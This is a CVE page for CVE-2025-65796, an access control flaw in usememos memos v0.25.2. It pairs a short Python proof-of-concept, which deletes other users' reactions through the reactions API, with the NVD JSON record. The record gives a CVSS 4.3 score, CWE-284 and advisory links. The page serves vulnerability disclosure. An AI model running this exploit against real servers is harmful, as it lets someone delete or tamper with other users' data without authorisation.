CVE-2025-65796

# CVE-2025-65796 PoC - Unauthorized Reaction Deletion # Affected: usememos memos v0.25.2 # Attack Type: Incorrect Access Control import requests import json TARGET_HOST = "http://target-memos-server.com" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_REACTION_ID = "12345" # Target reaction ID to delete def delete_reaction(reaction_id, auth_token): """Delete a reaction by ID without ownership verification""" url = f"{TARGET_HOST}/api/v1/reactions/{reaction_id}" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } response = requests.delete(url, headers=headers) return response.status_code, response.text def exploit(): """Exploit the access control vulnerability""" print(f"[*] Targeting reaction ID: {TARGET_REACTION_ID}") print(f"[*] Attacker token: {ATTACKER_TOKEN[:20]}...") status, response = delete_reaction(TARGET_REACTION_ID, ATTACKER_TOKEN) if status == 200 or status == 204: print(f"[+] SUCCESS: Reaction {TARGET_REACTION_ID} deleted!") print(f"[+] Response: {response}") elif status == 401: print(f"[-] FAILED: Authentication required") elif status == 403: print(f"[-] FAILED: Access denied (vulnerability may be patched)") else: print(f"[-] FAILED: Status {status}, Response: {response}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-65796", "sourceIdentifier": "[email protected]", "published": "2025-12-08T16:15:53.587", "lastModified": "2025-12-09T17:45:46.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in usememos memos v0.25.2 allows attackers with low-level privileges to arbitrarily delete reactions made to other users' Memos."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:usememos:memos:0.25.2:*:*:*:*:*:*:*", "matchCriteriaId": "E673C3CA-3FAC-46BD-823A-BE91FCEAC154"}]}]}], "references": [{"url": "http://memos.com", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "http://usememos.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/usememos/memos/pull/5217", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://herolab.usd.de/security-advisories/usd-2025-0060/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}